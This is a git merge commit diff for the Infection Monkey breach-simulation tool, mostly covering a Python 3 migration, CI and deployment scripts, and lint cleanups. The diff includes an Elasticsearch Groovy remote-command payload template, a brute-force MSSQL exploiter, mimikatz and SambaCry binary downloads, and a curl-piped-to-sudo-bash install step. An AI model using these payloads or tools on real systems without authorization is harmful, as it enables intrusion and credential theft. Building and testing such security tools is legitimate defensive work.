Merge branch '393/python-3' into feature/refactor_fingerprinting

# Conflicts:
#	monkey/infection_monkey/monkey.py
#	monkey/infection_monkey/network/ping_scanner.py
#	monkey/infection_monkey/network/tcp_scanner.py
This commit is contained in:
Daniel Goldberg 2019-11-05 21:20:10 +02:00
commit 30f7d724b9
226 changed files with 2647 additions and 2252 deletions

View File

@ -1,23 +1,42 @@
# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
group: travis_latest
language: python
cache: pip
python:
- 3.7
install:
- pip install -r monkey/monkey_island/requirements.txt # for unit tests
- pip install flake8 pytest dlint # for next stages
- pip install -r monkey/infection_monkey/requirements_linux.txt # for unit tests
before_script:
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # Check syntax errors
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # warn about linter issues. --exit-zero
# means this stage will not fail the build. This is (hopefully) a temporary measure until all warnings are suppressed.
- python monkey/monkey_island/cc/set_server_config.py testing # Set the server config to `testing`, for the UTs to use
# mongomaock and pass.
# Check syntax errors and fail the build if any are found.
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
# Warn about linter issues.
# --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build.
# --count will print the total number of errors.
# --statistics Count the number of occurrences of each error/warning code and print a report.
# The output is redirected to a file.
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics > flake8_warnings.txt
# Display the linter issues
- cat flake8_warnings.txt
# Make sure that we haven't increased the amount of warnings.
- WARNINGS_AMOUNT_UPPER_LIMIT=190
- if [ $(tail -n 1 flake8_warnings.txt) -gt $WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
# Set the server config to `testing`, for the UTs to use mongomaock and pass.
- python monkey/monkey_island/cc/set_server_config.py testing
script:
- cd monkey # This is our source dir
- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
notifications:
slack: # Notify to slack
rooms:

View File

@ -1,4 +1,4 @@
# Hi there
# Hi there 🐵
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
@ -10,8 +10,13 @@ to reproduce. While we'll try to help anyway, focusing us will help us help you
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting Issues
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
## Submitting code
You can look at [this issue](https://github.com/guardicore/monkey/issues/430) for an example.
## Submitting Code
The following is a *short* list of recommendations. PRs that don't match these criteria won't be closed but it'll be harder to merge the changes into the code.
@ -24,18 +29,23 @@ The following is a *short* list of recommendations. PRs that don't match these c
Also, please submit PRs to the `develop` branch.
#### Unit tests
#### Unit Tests
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
Please try to read some of the existing unit testing code, so you can see some examples.
#### Branch naming scheme
#### Branches Naming Scheme
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
#### Continuous Integration
We use [TravisCI](https://travis-ci.com/guardicore/monkey) for automatically checking the correctness and quality of submitted
pull requests. If your build fails, it might be because of one of the following reasons:
* Syntax errors.
* Failing Unit Tests.
* Too many linter warnings.
Thank you for reading this before opening an issue or a PR, you've already doing good!
In any of these cases, you can look for the cause of the failure in the _job log_ in your TravisCI build.
#### Thank you for reading this before opening an issue or a PR, you're already doing good!

View File

@ -1,31 +1,27 @@
Infection Monkey
====================
# Infection Monkey
[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases)
![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey)
![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey)
## Data center Security Testing Tool
------------------------
Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
<img src=".github/map-full.png" >
<img src=".github/Security-overview.png" width="800" height="500">
The Infection Monkey is comprised of two parts:
* Monkey - A tool which infects other machines and propagates to them
* Monkey Island - A dedicated server to control and visualize the Infection Monkey's progress inside the data center
To read more about the Monkey, visit http://infectionmonkey.com
Main Features
---------------
## Main Features
The Infection Monkey uses the following techniques and exploits to propagate to other machines.
* Multiple propagation techniques:
@ -41,15 +37,13 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* SambaCry
* Elastic Search (CVE-2015-1427)
Setup
-------------------------------
## Setup
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
Building the Monkey from source
-------------------------------
## Building the Monkey from source
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
@ -61,8 +55,14 @@ and follow the instructions at the readme files under [infection_monkey](infecti
| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
License
=======
## Tests
### Unit Tests
In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory.
### Blackbox tests
In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`.
# License
Copyright (c) Guardicore Ltd
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).

View File

@ -13,10 +13,11 @@ Don't forget to add python to PATH or do so while installing it via this script.
## Linux
Linux deployment script is meant for Ubuntu 16.x machines.
You must have root permissions, but don't run the script as root.<br>
Launch deploy_linux.sh from scripts directory.<br>
First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
First argument should be an absolute path of an empty directory (script will create one if doesn't exist, default is ./infection_monkey).
Second parameter is the branch you want to clone (develop by default).
Example usages:<br>
./deploy_linux.sh (deploys under ./infection_monkey)<br>
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>

View File

@ -14,6 +14,12 @@ WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
# Other binaries for monkey
TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute64"
TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute32"
SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so"
SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so"
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"

View File

@ -3,7 +3,7 @@ $MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
$PYTHON_URL = "https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
@ -22,27 +22,25 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
$TEMP_PYTHON_INSTALLER = ".\python.msi"
$MK32_DLL = "mk32.zip"
$MK64_DLL = "mk64.zip"
$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"

View File

@ -11,9 +11,9 @@ fi
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
MONGO_BIN_PATH="$MONGO_PATH/bin"
ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey"
MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin"
handle_error () {
echo "Fix the errors above and rerun the script"
@ -52,25 +52,47 @@ fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
mkdir -p ${MONGO_BIN_PATH}
mkdir -p ${ISLAND_DB_PATH}
mkdir -p ${MONGO_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
python_version=`python --version 2>&1`
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
exit 1
# Detecting command that calls python 3.7
python_cmd=""
if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
python_cmd="python"
fi
if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
python_cmd="python37"
fi
if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
python_cmd="python3.7"
fi
if [[ ${python_cmd} == "" ]]; then
log_message "Python 3.7 command not found. Installing python 3.7."
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.7
log_message "Python 3.7 is now available with command 'python3.7'."
python_cmd="python3.7"
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
sudo apt-get install python-pip
sudo apt install python3-pip
${python_cmd} -m pip install pip
log_message "Install python3.7-dev"
sudo apt-get install python3.7-dev
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
python -m pip install --user -r ${requirements} || handle_error
${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
log_message "Installing monkey requirements"
sudo apt-get install libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
# Download binaries
log_message "Downloading binaries"
@ -89,49 +111,42 @@ linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
log_message "Installing MongoDB"
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_PATH} || handle_error
log_message "Installing openssl"
sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
cd ${ISLAND_PATH} || handle_error
openssl genrsa -out cc/server.key 1024 || handle_error
openssl req -new -key cc/server.key -out cc/server.csr \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm
log_message "Installing npm"
sudo apt-get install npm
cd ${ISLAND_PATH}
openssl genrsa -out cc/server.key 2048
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
# Update node
log_message "Updating node"
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
log_message "Installing nodejs"
cd "$ISLAND_PATH/cc/ui" || handle_error
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install -y nodejs
npm install sass-loader node-sass webpack --save-dev
npm update
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements_linux.txt || handle_error
# Making dir for binaries
mkdir ${MONKEY_BIN_DIR}
# Download sambacry binaries
log_message "Downloading sambacry binaries"
wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_64_BINARY_URL}
wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_32_BINARY_URL}
# Download traceroute binaries
log_message "Downloading traceroute binaries"
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_64_BINARY_URL}
wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_32_BINARY_URL}
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
sudo chmod +x ./build.sh || handle_error
./build.sh
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh

View File

@ -44,39 +44,28 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
try
{
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like 'Python 2.7.*' ) {
"Python 2.7.* was found, installing dependancies"
if ( $version -like 'Python 3.*' ) {
"Python 3.* was found, installing dependencies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 2.7 ..."
"Downloading python 3 ..."
"Select 'add to PATH' when installing"
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path","User")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
"Python is not found in PATH. Add it manually or reinstall python."
"Python is not found in PATH. Add it to PATH and relaunch the script."
return
}
}
# Set python home dir
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
"Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
@ -84,11 +73,22 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Make sure pip module is installed and re-run this script."
return
}
"Installing python packages for island"
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
& python -m pip install --user -r $islandRequirements
# Install requirements for monkey
"Installing python packages for monkey"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
$user_python_dir = cmd.exe /c 'py -m site --user-site'
$user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts"
if(!($ENV:PATH | Select-String -SimpleMatch $user_python_dir)){
"Adding python scripts path to user's env"
$env:Path += ";"+$user_python_dir
[Environment]::SetEnvironmentVariable("Path",$env:Path,"User")
}
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."

View File

@ -23,7 +23,6 @@ class BasicTest(object):
self.log_handler = log_handler
def run(self):
LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2)))
self.island_client.import_config(self.config_parser.config_raw)
self.print_test_starting_info()
try:

View File

@ -4,14 +4,12 @@ import urllib.request
import urllib.error
import logging
__author__ = 'itay.mizeretz'
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId"
logger = logging.getLogger(__name__)
@ -29,8 +27,8 @@ class AwsInstance(object):
self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
decode())
urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))

View File

@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName'
PLATFORM_TYPE_KEY = 'PlatformType'
IP_ADDRESS_KEY = 'IPAddress'
logger = logging.getLogger(__name__)

View File

@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response
import json
__author__ = 'shay.nehmad'

View File

@ -1,6 +1,5 @@
from common.cmd.cmd_result import CmdResult
__author__ = 'itay.mizeretz'

View File

@ -1,2 +1,3 @@
from .zero_trust_consts import populate_mappings
populate_mappings()

View File

@ -1,2 +1 @@
ES_SERVICE = 'elastic-search-9200'

View File

@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@ -78,7 +79,8 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
@ -89,8 +91,10 @@ TESTS_MAP = {
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
"software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
"security concern. "
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
@ -99,7 +103,8 @@ TESTS_MAP = {
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
"which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
@ -109,7 +114,8 @@ TESTS_MAP = {
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
"software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
@ -120,7 +126,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
"that indicate attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@ -130,7 +137,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
"attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@ -139,7 +147,8 @@ TESTS_MAP = {
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
"restrict them. "
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
@ -148,7 +157,8 @@ TESTS_MAP = {
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,

View File

@ -59,7 +59,7 @@ class NetworkRange(object, metaclass=ABCMeta):
ips = address_str.split('-')
try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError as e:
except ValueError:
return False
return True
return False
@ -173,4 +173,3 @@ class SingleIpRange(NetworkRange):
return None, string_
# If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name

View File

@ -1,4 +1,4 @@
from common.network.network_range import *
from common.network.network_range import CidrRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase

View File

@ -1,10 +1,10 @@
# abstract, static method decorator
# noinspection PyPep8Naming
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -80,4 +80,3 @@ class MongoUtils:
continue
return row

View File

@ -71,7 +71,7 @@ class Configuration(object):
val_type = type(value)
if val_type is types.FunctionType or val_type is types.MethodType:
if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType):
continue
if val_type in (type, ABCMeta):

View File

@ -304,7 +304,7 @@ class ControlClient(object):
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
except:
except ValueError:
return None
else:
proxy_class = HTTPConnectProxy

View File

@ -26,6 +26,7 @@ else:
try:
WindowsError
except NameError:
# noinspection PyShadowingBuiltins
WindowsError = IOError
__author__ = 'itamar'
@ -103,14 +104,14 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc:
except OSError:
LOG.warning("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options = \

View File

@ -47,7 +47,9 @@ class HostExploiter(object, metaclass=ABCMeta):
def exploit_host(self):
self.pre_exploit()
try:
result = self._exploit_host()
finally:
self.post_exploit()
return result

View File

@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_CMD = \
GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'

View File

@ -11,13 +11,12 @@ from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -185,7 +184,7 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
